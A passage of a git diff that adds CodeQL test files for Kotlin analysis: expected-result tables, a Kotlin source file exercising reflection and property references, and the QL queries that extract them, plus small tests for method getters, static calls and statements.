+| reflection.kt:90:18:90:24 | ...::... | reflection.kt:90:18:90:24 | new Function1<String,Inner<String>>(...) { ... } | reflection.kt:90:18:90:24 | invoke | reflection.kt:90:18:90:24 | new Inner<String>(...) | Inner<String>.Inner<String> |
+| reflection.kt:97:14:97:21 | ...::... | reflection.kt:97:14:97:21 | new Function1<String,Class2<String>>(...) { ... } | reflection.kt:97:14:97:21 | invoke | reflection.kt:97:14:97:21 | new Class2<String>(...) | Class2<String>.Class2<String> |
+| reflection.kt:98:14:98:17 | ...::... | reflection.kt:98:14:98:17 | new Function1<String,Unit>(...) { ... } | reflection.kt:98:14:98:17 | invoke | reflection.kt:98:14:98:17 | fn(...) | ReflectionKt.fn |
+| reflection.kt:99:14:99:29 | ...::... | reflection.kt:99:14:99:29 | new Function1<String,Inner<String>>(...) { ... } | reflection.kt:99:14:99:29 | invoke | reflection.kt:99:14:99:29 | new Inner<String>(...) | Inner<String>.Inner<String> |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:109:17:109:27 | get | reflection.kt:109:17:109:27 | getProp1(...) | Base1.getProp1 |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:109:17:109:27 | invoke | reflection.kt:109:17:109:27 | get(...) | .get |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:109:17:109:27 | set | reflection.kt:109:17:109:27 | setProp1(...) | Base1.setProp1 |
+| reflection.kt:116:40:116:44 | ...::... | reflection.kt:116:40:116:44 | new Function1<Integer,Unit>(...) { ... } | reflection.kt:116:40:116:44 | invoke | reflection.kt:116:40:116:44 | fn1(...) | .fn1 |
+| reflection.kt:116:40:116:44 | ...::... | reflection.kt:116:40:116:44 | new Function1<Integer,Unit>(...) { ... } | reflection.kt:116:40:116:44 | invoke | reflection.kt:116:40:116:44 | new (...) | . |
+| reflection.kt:126:9:126:13 | ...::... | reflection.kt:126:9:126:13 | new Function0<Unit>(...) { ... } | reflection.kt:126:9:126:13 | invoke | reflection.kt:126:9:126:13 | fn1(...) | ReflectionKt.fn1 |
+fieldAccessInsideInvocationMethods
+| reflection.kt:14:38:14:44 | ...::... | reflection.kt:14:38:14:44 | new Function1<C,Integer>(...) { ... } | reflection.kt:14:38:14:44 | invoke | reflection.kt:14:38:14:44 | this.<dispatchReceiver> |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | new KProperty0<Integer>(...) { ... } | reflection.kt:15:35:15:41 | get | reflection.kt:15:35:15:41 | this.<dispatchReceiver> |
+| reflection.kt:21:44:21:50 | ...::... | reflection.kt:21:44:21:50 | new Function2<C,Integer,Unit>(...) { ... } | reflection.kt:21:44:21:50 | invoke | reflection.kt:21:44:21:50 | this.<dispatchReceiver> |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:22:42:22:48 | get | reflection.kt:22:42:22:48 | this.<dispatchReceiver> |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:22:42:22:48 | set | reflection.kt:22:42:22:48 | this.<dispatchReceiver> |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | new KProperty0<Character>(...) { ... } | reflection.kt:51:13:51:28 | get | reflection.kt:51:13:51:28 | this.<extensionReceiver> |
+| reflection.kt:61:17:61:34 | ...::... | reflection.kt:61:17:61:34 | new Function1<Integer,String>(...) { ... } | reflection.kt:61:17:61:34 | invoke | reflection.kt:61:17:61:34 | this.<dispatchReceiver> |
+| reflection.kt:63:17:63:36 | ...::... | reflection.kt:63:17:63:36 | new Function0<String>(...) { ... } | reflection.kt:63:17:63:36 | invoke | reflection.kt:63:17:63:36 | this.<extensionReceiver> |
+| reflection.kt:65:17:65:36 | ...::... | reflection.kt:65:17:65:36 | new Function0<String>(...) { ... } | reflection.kt:65:17:65:36 | invoke | reflection.kt:65:17:65:36 | this.<extensionReceiver> |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:68:17:68:34 | get | reflection.kt:68:17:68:34 | this.<dispatchReceiver> |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:68:17:68:34 | set | reflection.kt:68:17:68:34 | this.<dispatchReceiver> |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | new KProperty0<Integer>(...) { ... } | reflection.kt:70:17:70:30 | get | reflection.kt:70:17:70:30 | this.<dispatchReceiver> |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | new KProperty0<Integer>(...) { ... } | reflection.kt:71:17:71:34 | get | reflection.kt:71:17:71:34 | MAX_VALUE |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:72:17:72:35 | get | reflection.kt:72:17:72:35 | this.<dispatchReceiver> |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:72:17:72:35 | get | reflection.kt:72:17:72:35 | this.<dispatchReceiver>.height |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:72:17:72:35 | set | reflection.kt:72:17:72:35 | this.<dispatchReceiver> |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:72:17:72:35 | set | reflection.kt:72:17:72:35 | this.<dispatchReceiver>.height |
+| reflection.kt:90:18:90:24 | ...::... | reflection.kt:90:18:90:24 | new Function1<String,Inner<String>>(...) { ... } | reflection.kt:90:18:90:24 | invoke | reflection.kt:90:18:90:24 | this.<dispatchReceiver> |
+| reflection.kt:99:14:99:29 | ...::... | reflection.kt:99:14:99:29 | new Function1<String,Inner<String>>(...) { ... } | reflection.kt:99:14:99:29 | invoke | reflection.kt:99:14:99:29 | this.<dispatchReceiver> |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:109:17:109:27 | get | reflection.kt:109:17:109:27 | this.<dispatchReceiver> |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:109:17:109:27 | set | reflection.kt:109:17:109:27 | this.<dispatchReceiver> |
+modifiers
+| reflection.kt:7:49:7:54 | ...::... | reflection.kt:7:49:7:54 | invoke | override |
+| reflection.kt:7:49:7:54 | ...::... | reflection.kt:7:49:7:54 | invoke | public |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | get | override |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | get | public |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | invoke | override |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | invoke | public |
+| reflection.kt:14:38:14:44 | ...::... | reflection.kt:14:38:14:44 | invoke | override |
+| reflection.kt:14:38:14:44 | ...::... | reflection.kt:14:38:14:44 | invoke | public |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | get | override |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | get | public |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | invoke | override |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | invoke | public |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | get | override |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | get | public |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | invoke | override |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | invoke | public |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | set | override |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | set | public |
+| reflection.kt:21:44:21:50 | ...::... | reflection.kt:21:44:21:50 | invoke | override |
+| reflection.kt:21:44:21:50 | ...::... | reflection.kt:21:44:21:50 | invoke | public |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | get | override |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | get | public |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | invoke | override |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | invoke | public |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | set | override |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | set | public |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | get | override |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | get | public |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | invoke | override |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | invoke | public |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | get | override |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | get | public |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | invoke | override |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | invoke | public |
+| reflection.kt:60:17:60:32 | ...::... | reflection.kt:60:17:60:32 | invoke | override |
+| reflection.kt:60:17:60:32 | ...::... | reflection.kt:60:17:60:32 | invoke | public |
+| reflection.kt:61:17:61:34 | ...::... | reflection.kt:61:17:61:34 | invoke | override |
+| reflection.kt:61:17:61:34 | ...::... | reflection.kt:61:17:61:34 | invoke | public |
+| reflection.kt:62:17:62:34 | ...::... | reflection.kt:62:17:62:34 | invoke | override |
+| reflection.kt:62:17:62:34 | ...::... | reflection.kt:62:17:62:34 | invoke | public |
+| reflection.kt:63:17:63:36 | ...::... | reflection.kt:63:17:63:36 | invoke | override |
+| reflection.kt:63:17:63:36 | ...::... | reflection.kt:63:17:63:36 | invoke | public |
+| reflection.kt:64:17:64:34 | ...::... | reflection.kt:64:17:64:34 | invoke | override |
+| reflection.kt:64:17:64:34 | ...::... | reflection.kt:64:17:64:34 | invoke | public |
+| reflection.kt:65:17:65:36 | ...::... | reflection.kt:65:17:65:36 | invoke | override |
+| reflection.kt:65:17:65:36 | ...::... | reflection.kt:65:17:65:36 | invoke | public |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | get | override |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | get | public |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | invoke | override |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | invoke | public |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | set | override |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | set | public |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | get | override |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | get | public |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | invoke | override |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | invoke | public |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | set | override |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | set | public |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | get | override |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | get | public |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | invoke | override |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | invoke | public |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | get | override |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | get | public |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | invoke | override |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | invoke | public |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | get | override |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | get | public |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | invoke | override |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | invoke | public |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | set | override |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | set | public |
+| reflection.kt:90:18:90:24 | ...::... | reflection.kt:90:18:90:24 | invoke | override |
+| reflection.kt:90:18:90:24 | ...::... | reflection.kt:90:18:90:24 | invoke | public |
+| reflection.kt:97:14:97:21 | ...::... | reflection.kt:97:14:97:21 | invoke | override |
+| reflection.kt:97:14:97:21 | ...::... | reflection.kt:97:14:97:21 | invoke | public |
+| reflection.kt:98:14:98:17 | ...::... | reflection.kt:98:14:98:17 | invoke | override |
+| reflection.kt:98:14:98:17 | ...::... | reflection.kt:98:14:98:17 | invoke | public |
+| reflection.kt:99:14:99:29 | ...::... | reflection.kt:99:14:99:29 | invoke | override |
+| reflection.kt:99:14:99:29 | ...::... | reflection.kt:99:14:99:29 | invoke | public |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | get | override |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | get | public |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | invoke | override |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | invoke | public |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | set | override |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | set | public |
+| reflection.kt:116:40:116:44 | ...::... | reflection.kt:116:40:116:44 | invoke | override |
+| reflection.kt:116:40:116:44 | ...::... | reflection.kt:116:40:116:44 | invoke | public |
+| reflection.kt:126:9:126:13 | ...::... | reflection.kt:126:9:126:13 | invoke | override |
+| reflection.kt:126:9:126:13 | ...::... | reflection.kt:126:9:126:13 | invoke | public |
+compGenerated
+| reflection.kt:126:9:126:13 |  | 1 |
diff --git a/java/ql/test/kotlin/library-tests/reflection/reflection.kt b/java/ql/test/kotlin/library-tests/reflection/reflection.kt
new file mode 100644
index 00000000000..1e3d8555400
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/reflection/reflection.kt
@@ -0,0 +1,127 @@
+import java.awt.Rectangle
+
+import kotlin.reflect.*
+
+class Reflection {
+    fun fn() {
+        val ref: KFunction2<Ccc, Int, Double> = Ccc::m
+        println(ref.name)
+
+        val x0: KProperty1<C, Int> = C::p0
+        val x1: Int = x0.get(C())
+        val x2: String = x0.name
+        val x3: KProperty1.Getter<C, Int> = x0.getter
+        val x4: KFunction1<C, Int> = x0::get
+        val x5: KProperty0<Int> = C()::p0
+
+        val y0: KMutableProperty1<C, Int> = C::p1
+        val y1: Unit = y0.set(C(), 5)
+        val y2: String = y0.name
+        val y3: KMutableProperty1.Setter<C, Int> = y0.setter
+        val y4: KFunction2<C, Int, Unit> = y0::set
+        val y5: KMutableProperty0<Int> = C()::p1
+
+        val prop = (C::class).members.single { it.name == "p3" } as KProperty2<C, Int, Int>
+        val z0 = prop.get(C(), 5)
+    }
+
+    class Ccc {
+        fun m(i:Int):Double = 5.0
+    }
+
+    class C {
+        val p0: Int = 1
+        var p1: Int = 2
+        var p2: Int
+            get() = 1
+            set(value) = Unit
+
+        var Int.p3: Int         // this can't be referenced through a property reference
+            get() = 1
+            set(value) = Unit
+    }
+}
+
+
+val String.lastChar: Char
+    get() = this[length - 1]
+
+fun fn2() {
+    println(String::lastChar.get("abc"))
+    println("abcd"::lastChar.get())
+}
+
+fun <T2> Class1.Generic<T2>.ext1() = this.toString()
+
+fun Class1.Generic<Int>.ext2() = this.toString()
+
+class Class1 {
+    fun fn() {
+        println(Generic<Int>::m1)
+        println(Generic<Int>()::m1)
+        println(Generic<Int>::ext1)
+        println(Generic<Int>()::ext1)
+        println(Generic<Int>::ext2)
+        println(Generic<Int>()::ext2)
+
+        println(Generic<Int>::p2)
+        println(Generic<Int>()::p2)
+
+        println(Int::MAX_VALUE)         // Companion object and property getter
+        println(Integer::MAX_VALUE)     // Static field access, no getter
+        println(Rectangle()::height)    // Field access, no getter, with dispatch receiver
+    }
+
+    class Generic<T1> {
+        fun m1(i:T1) = this.toString()
+        var p2: T1?
+            get() = null
+            set(value) = Unit
+    }
+}
+
+class Class2<T>(val value: T) {
+
+    inner class Inner<T1> {
+        constructor(t: T1) { }
+    }
+
+    fun test() {
+        fn11("", ::Inner)
+    }
+}
+
+fun <T> fn(value: T) { }
+
+fun test() {
+    fn11("", ::Class2)
+    fn11("", ::fn)
+    fn12("", Class2(5)::Inner)
+}
+
+fun <T, R> fn11(l: T, transform: (T) -> R) { }
+fun <T1, R> fn12(l: T1, l2: (T1) -> R) { }
+
+open class Base1(var prop1: Int) {}
+
+class Derived1(prop1: Int) : Base1(prop1) {
+    fun fn() {
+        println(this::prop1)
+    }
+}
+
+class LocalFn {
+    fun fn() {
+        fun fn1(i: Int) { }
+        val x: KFunction1<Int, Unit> = ::fn1
+    }
+}
+
+
+fun fn1() = 5
+
+fun fn2(f: () -> Unit) = f()
+
+fun adapted() {
+    fn2(::fn1)
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/reflection/reflection.ql b/java/ql/test/kotlin/library-tests/reflection/reflection.ql
new file mode 100644
index 00000000000..6957e71a188
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/reflection/reflection.ql
@@ -0,0 +1,90 @@
+import java
+import semmle.code.java.dataflow.internal.DataFlowPrivate
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+class CallableLocation extends Callable {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+query predicate variableInitializerType(
+  LocalVariableDecl decl, RefType t1, RefType t2, RefType t3, boolean compatible
+) {
+  decl.getType() = t1 and
+  t1.getPackage().getName() = "kotlin.reflect" and
+  decl.getInitializer().getType() = t2 and
+  t2.extendsOrImplements(t3) and
+  (
+    compatible = true and compatibleTypes(t1, t2)
+    or
+    compatible = false and not compatibleTypes(t1, t2)
+  )
+}
+
+query predicate invocation(Call c, Callable callee) {
+  c.getCallee() = callee and callee.getDeclaringType().getPackage().getName() = "kotlin.reflect"
+}
+
+query predicate functionReferences(MemberRefExpr e, Method m, Callable c) {
+  e.asMethod() = m and
+  e.getReferencedCallable() = c
+}
+
+query predicate propertyGetReferences(PropertyRefExpr e, Method m, Callable c) {
+  e.asGetMethod() = m and
+  e.getGetterCallable() = c
+}
+
+query predicate propertyFieldReferences(PropertyRefExpr e, Method m, Field f) {
+  e.asGetMethod() = m and
+  e.getField() = f
+}
+
+query predicate propertySetReferences(PropertyRefExpr e, Method m, Callable c) {
+  e.asSetMethod() = m and
+  e.getSetterCallable() = c
+}
+
+query predicate callsInsideInvocationMethods(
+  ClassInstanceExpr e, AnonymousClass c, Method m, Call call, string callee
+) {
+  (e instanceof MemberRefExpr or e instanceof PropertyRefExpr) and
+  e.getAnonymousClass() = c and
+  c.getAMethod() = m and
+  m.getName() = ["invoke", "get", "set"] and
+  call.getEnclosingCallable() = m and
+  callee = call.getCallee().getQualifiedName()
+}
+
+query predicate fieldAccessInsideInvocationMethods(
+  ClassInstanceExpr e, AnonymousClass c, Method m, FieldAccess access
+) {
+  (e instanceof MemberRefExpr or e instanceof PropertyRefExpr) and
+  e.getAnonymousClass() = c and
+  c.getAMethod() = m and
+  m.getName() = ["invoke", "get", "set"] and
+  access.getEnclosingCallable() = m
+}
+
+query predicate modifiers(ClassInstanceExpr e, Method m, string modifier) {
+  (e instanceof MemberRefExpr or e instanceof PropertyRefExpr) and
+  e.getAnonymousClass().getAMethod() = m and
+  m.hasModifier(modifier)
+}
+
+query predicate compGenerated(Element e, int i) { compiler_generated(e, i) }
diff --git a/java/ql/test/kotlin/library-tests/special-method-getters/test.expected b/java/ql/test/kotlin/library-tests/special-method-getters/test.expected
new file mode 100644
index 00000000000..fdec7b0e605
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/special-method-getters/test.expected
@@ -0,0 +1,9 @@
+| test.kt:1:84:1:89 | length(...) | length |
+| test.kt:1:97:1:100 | size(...) | size |
+| test.kt:1:108:1:111 | size(...) | size |
+| test.kt:1:119:1:122 | keySet(...) | keySet |
+| test.kt:1:124:1:127 | size(...) | size |
+| test.kt:1:135:1:140 | values(...) | values |
+| test.kt:1:142:1:145 | size(...) | size |
+| test.kt:1:153:1:159 | entrySet(...) | entrySet |
+| test.kt:1:161:1:164 | size(...) | size |
diff --git a/java/ql/test/kotlin/library-tests/special-method-getters/test.kt b/java/ql/test/kotlin/library-tests/special-method-getters/test.kt
new file mode 100644
index 00000000000..d83aee0f131
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/special-method-getters/test.kt
@@ -0,0 +1 @@
+fun test(cs: CharSequence, col: Collection<String>, map: Map<String, String>) = cs.length + col.size + map.size + map.keys.size + map.values.size + map.entries.size
diff --git a/java/ql/test/kotlin/library-tests/special-method-getters/test.ql b/java/ql/test/kotlin/library-tests/special-method-getters/test.ql
new file mode 100644
index 00000000000..257b3344501
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/special-method-getters/test.ql
@@ -0,0 +1,4 @@
+import java
+
+from MethodAccess ma
+select ma, ma.getCallee().toString()
diff --git a/java/ql/test/kotlin/library-tests/static-method-calls/test.expected b/java/ql/test/kotlin/library-tests/static-method-calls/test.expected
new file mode 100644
index 00000000000..73bc73319be
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/static-method-calls/test.expected
@@ -0,0 +1,2 @@
+| test.kt:4:17:4:30 | Class<> | TypeAccess | forName |
+| test.kt:7:18:7:44 | StringsKt | TypeAccess | format |
diff --git a/java/ql/test/kotlin/library-tests/static-method-calls/test.kt b/java/ql/test/kotlin/library-tests/static-method-calls/test.kt
new file mode 100644
index 00000000000..0ada565eb99
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/static-method-calls/test.kt
@@ -0,0 +1,9 @@
+fun test() {
+
+  // Static method of a class with type parameters:
+  val c = Class.forName("xyz")
+  
+  // Static method of a class without one:
+  val s = String.format("Hello %s", "world")
+
+}
diff --git a/java/ql/test/kotlin/library-tests/static-method-calls/test.ql b/java/ql/test/kotlin/library-tests/static-method-calls/test.ql
new file mode 100644
index 00000000000..4327b564654
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/static-method-calls/test.ql
@@ -0,0 +1,4 @@
+import java
+
+from MethodAccess ma
+select ma.getQualifier(), ma.getQualifier().getAPrimaryQlClass(), ma.getCallee().toString()
diff --git a/java/ql/test/kotlin/library-tests/stmts/exprs.expected b/java/ql/test/kotlin/library-tests/stmts/exprs.expected
new file mode 100644
index 00000000000..1dcb7e7698f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/exprs.expected
@@ -0,0 +1,72 @@
+| stmts.kt:2:1:20:1 | int | TypeAccess |
+| stmts.kt:2:20:2:25 | int | TypeAccess |
+| stmts.kt:2:28:2:33 | int | TypeAccess |
+| stmts.kt:3:5:6:5 | when ... | WhenExpr |
+| stmts.kt:3:8:3:8 | x | VarAccess |
+| stmts.kt:3:8:3:12 | ... > ... | GTExpr |
+| stmts.kt:3:12:3:12 | y | VarAccess |
+| stmts.kt:4:15:4:15 | x | VarAccess |
+| stmts.kt:4:15:4:19 | ... < ... | LTExpr |
+| stmts.kt:4:19:4:19 | y | VarAccess |
+| stmts.kt:5:12:6:5 | true | BooleanLiteral |
+| stmts.kt:7:11:7:11 | x | VarAccess |
+| stmts.kt:7:11:7:15 | ... > ... | GTExpr |
+| stmts.kt:7:15:7:15 | y | VarAccess |
+| stmts.kt:8:16:8:16 | x | VarAccess |
+| stmts.kt:9:11:9:11 | x | VarAccess |
+| stmts.kt:9:11:9:15 | ... < ... | LTExpr |
+| stmts.kt:9:15:9:15 | y | VarAccess |
+| stmts.kt:10:16:10:16 | y | VarAccess |
+| stmts.kt:13:16:13:16 | y | VarAccess |
+| stmts.kt:14:13:14:13 | x | VarAccess |
+| stmts.kt:14:13:14:17 | ... < ... | LTExpr |
+| stmts.kt:14:17:14:17 | y | VarAccess |
+| stmts.kt:15:5:15:13 | z | LocalVariableDeclExpr |
+| stmts.kt:15:13:15:13 | 3 | IntegerLiteral |
+| stmts.kt:17:5:17:58 | q2 | LocalVariableDeclExpr |
+| stmts.kt:17:26:17:58 | true | BooleanLiteral |
+| stmts.kt:17:26:17:58 | when ... | WhenExpr |
+| stmts.kt:17:29:17:32 | true | BooleanLiteral |
+| stmts.kt:17:37:17:37 | z | VarAccess |
+| stmts.kt:17:37:17:41 | ...=... | AssignExpr |
+| stmts.kt:17:41:17:41 | 4 | IntegerLiteral |
+| stmts.kt:17:52:17:52 | z | VarAccess |
+| stmts.kt:17:52:17:56 | ...=... | AssignExpr |
+| stmts.kt:17:56:17:56 | 5 | IntegerLiteral |
+| stmts.kt:18:5:18:56 | q3 | LocalVariableDeclExpr |
+| stmts.kt:18:26:18:56 | true | BooleanLiteral |
+| stmts.kt:18:26:18:56 | when ... | WhenExpr |
+| stmts.kt:18:29:18:32 | true | BooleanLiteral |
+| stmts.kt:18:37:18:37 | z | VarAccess |
+| stmts.kt:18:37:18:41 | ...=... | AssignExpr |
+| stmts.kt:18:41:18:41 | 4 | IntegerLiteral |
+| stmts.kt:18:52:18:52 | z | VarAccess |
+| stmts.kt:18:52:18:56 | ...=... | AssignExpr |
+| stmts.kt:18:56:18:56 | 5 | IntegerLiteral |
+| stmts.kt:19:12:19:12 | x | VarAccess |
+| stmts.kt:19:12:19:16 | ... + ... | AddExpr |
+| stmts.kt:19:16:19:16 | y | VarAccess |
+| stmts.kt:22:1:30:1 | Unit | TypeAccess |
+| stmts.kt:22:11:22:16 | int | TypeAccess |
+| stmts.kt:22:19:22:24 | int | TypeAccess |
+| stmts.kt:23:18:23:18 | x | VarAccess |
+| stmts.kt:23:18:23:24 | ... < ... | LTExpr |
+| stmts.kt:23:22:23:24 | 100 | IntegerLiteral |
+| stmts.kt:25:13:25:33 | when ... | WhenExpr |
+| stmts.kt:25:17:25:17 | x | VarAccess |
+| stmts.kt:25:17:25:21 | ... > ... | GTExpr |
+| stmts.kt:25:21:25:21 | y | VarAccess |
+| stmts.kt:26:18:26:18 | y | VarAccess |
+| stmts.kt:26:18:26:24 | ... > ... | GTExpr |
+| stmts.kt:26:22:26:24 | 100 | IntegerLiteral |
+| stmts.kt:28:11:28:11 | x | VarAccess |
+| stmts.kt:28:11:28:15 | ... > ... | GTExpr |
+| stmts.kt:28:15:28:15 | y | VarAccess |
+| stmts.kt:32:1:42:1 | int | TypeAccess |
+| stmts.kt:34:15:34:30 | Exception | TypeAccess |
+| stmts.kt:34:15:34:30 | new Exception(...) | ClassInstanceExpr |
+| stmts.kt:34:26:34:28 | Foo | StringLiteral |
+| stmts.kt:36:12:36:23 | Exception | TypeAccess |
+| stmts.kt:36:12:36:23 | e | LocalVariableDeclExpr |
+| stmts.kt:37:16:37:16 | 1 | IntegerLiteral |
+| stmts.kt:40:16:40:16 | 2 | IntegerLiteral |
diff --git a/java/ql/test/kotlin/library-tests/stmts/exprs.ql b/java/ql/test/kotlin/library-tests/stmts/exprs.ql
new file mode 100644
index 00000000000..6ded7c0026d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/exprs.ql
@@ -0,0 +1,4 @@
+import java
+
+from Expr e
+select e, e.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/stmts/loops.expected b/java/ql/test/kotlin/library-tests/stmts/loops.expected
new file mode 100644
index 00000000000..57c59b35d3a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/loops.expected
@@ -0,0 +1,7 @@
+breakLabel
+| stmts.kt:25:24:25:33 | break | loop |
+continueLabel
+breakTarget
+| stmts.kt:25:24:25:33 | break | stmts.kt:23:11:27:5 | while (...) |
+continueTarget
+| stmts.kt:29:9:29:16 | continue | stmts.kt:28:5:29:16 | while (...) |
diff --git a/java/ql/test/kotlin/library-tests/stmts/loops.ql b/java/ql/test/kotlin/library-tests/stmts/loops.ql
new file mode 100644
index 00000000000..87b88738125
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/loops.ql
